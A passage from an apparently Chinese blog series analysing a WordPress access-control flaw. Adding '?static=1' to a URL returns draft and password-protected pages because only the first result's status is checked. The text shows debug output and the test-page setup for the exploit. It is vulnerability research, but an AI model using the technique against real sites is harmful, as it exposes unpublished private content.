主页 > 网络知识 > 如何查看WordPress未授权文章(3)

如何查看WordPress未授权文章(3)

除了static=1之外,我们并没有设置其他特定的查询参数,我们在$this->posts = $wpdb->get_results($this->request);语句之前插入var_dump($this->request);,输出的结果如下:

string(112) "SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'page' ORDER BY wp_posts.post_date DESC "

该语句可以返回数据库中的所有页面,包括password protected、pending及drafts类别的页面。因此,! empty( $this->posts ) && ( $this->is_single || $this->is_page )对应的值为true。

接下来,该函数会检查第一篇文章的状态“$status = get_post_status( $this->posts[0] );”:

if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {

如果第一篇文章的状态不是public,则将进一步执行访问控制检查。比如,当用户未经授权时,代码将会清空$this->posts。

漏洞利用

利用该漏洞的方法也非常简单,首先我们可以控制查询流程,使第一篇文章的状态为published,但返回数组中包含多篇文章。

我们首先需要创建一些测试页面:即一个处于已发布状态的页面和一个处于草稿状态的页面。

这里我使用的是页面,因为post_type=’page’是WordPress的默认设置,但如果有需要,我们可以设置&post_type=post,这样就能修改文章类型,变成post_type = ‘post’。

 

17671:如何查看WordPress未授权文章

 

目前我们知道,如果在WordPress的URL添加?static=1,即可以查看到网站的隐私内容。在访问控制检查代码的前面插入var_dump($this->posts);,可以看到?static=1这个URL会返回如下内容:

array(2) {

[0]=>

object(WP_Post)#763 (24) {

    ["ID"]=>

    int(43)

    ["post_author"]=>

    string(1) "1"

    ["post_date"]=>

    string(19) "2019-10-20 03:55:29"

    ["post_date_gmt"]=>

    string(19) "0000-00-00 00:00:00"

    ["post_content"]=>

    string(79) "<!-- wp:paragraph -->

<p>A draft with secret content</p>

<!-- /wp:paragraph -->"

    ["post_title"]=>

    string(7) "A draft"

    ["post_excerpt"]=>

    string(0) ""

    ["post_status"]=>

    string(5) "draft"

    ["comment_status"]=>

    string(6) "closed"

    ["ping_status"]=>

    string(6) "closed"

    ["post_password"]=>

    string(0) ""

    ["post_name"]=>

    string(0) ""

    ["to_ping"]=>

    string(0) ""

    ["pinged"]=>

    string(0) ""

    ["post_modified"]=>

    string(19) "2019-10-20 03:55:29"

    ["post_modified_gmt"]=>

    string(19) "2019-10-20 03:55:29"

    ["post_content_filtered"]=>

    string(0) ""

    ["post_parent"]=>

    int(0)

    ["guid"]=>

    string(34) "?page_id=43"

    ["menu_order"]=>

    int(0)

    ["post_type"]=>

    string(4) "page"

    ["post_mime_type"]=>

    string(0) ""

    ["comment_count"]=>

    string(1) "0"

    ["filter"]=>

    string(3) "raw"

  }

  [1]=>

  object(WP_Post)#764 (24) {

    ["ID"]=>

    int(41)

    ["post_author"]=>

    string(1) "1"

    ["post_date"]=>

    string(19) "2019-10-20 03:54:50"

    ["post_date_gmt"]=>

    string(19) "2019-10-20 03:54:50"

    ["post_content"]=>

    string(66) "<!-- wp:paragraph -->

<p>Public content</p>

<!-- /wp:paragraph -->"

    ["post_title"]=>

    string(13) "A public page"

    ["post_excerpt"]=>

    string(0) ""

    ["post_status"]=>

    string(7) "publish"

    ["comment_status"]=>

    string(6) "closed"

    ["ping_status"]=>

    string(6) "closed"

    ["post_password"]=>

    string(0) ""

    ["post_name"]=>

    string(13) "a-public-page"

    ["to_ping"]=>

    string(0) ""

    ["pinged"]=>

    string(0) ""

    ["post_modified"]=>

    string(19) "2019-10-20 03:55:10"

    ["post_modified_gmt"]=>

    string(19) "2019-10-20 03:55:10"

    ["post_content_filtered"]=>

    string(0) ""

    ["post_parent"]=>

    int(0)

    ["guid"]=>

    string(34) "?page_id=41"

    ["menu_order"]=>

    int(0)

    ["post_type"]=>

    string(4) "page"

    ["post_mime_type"]=>

    string(0) ""

    ["comment_count"]=>

    string(1) "0"

    ["filter"]=>

    string(3) "raw"

  }

}

大家可以看到,数组中的第一个页面为草稿(["post_status"]=>string(5) “draft”),因此页面是没有内容的:

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!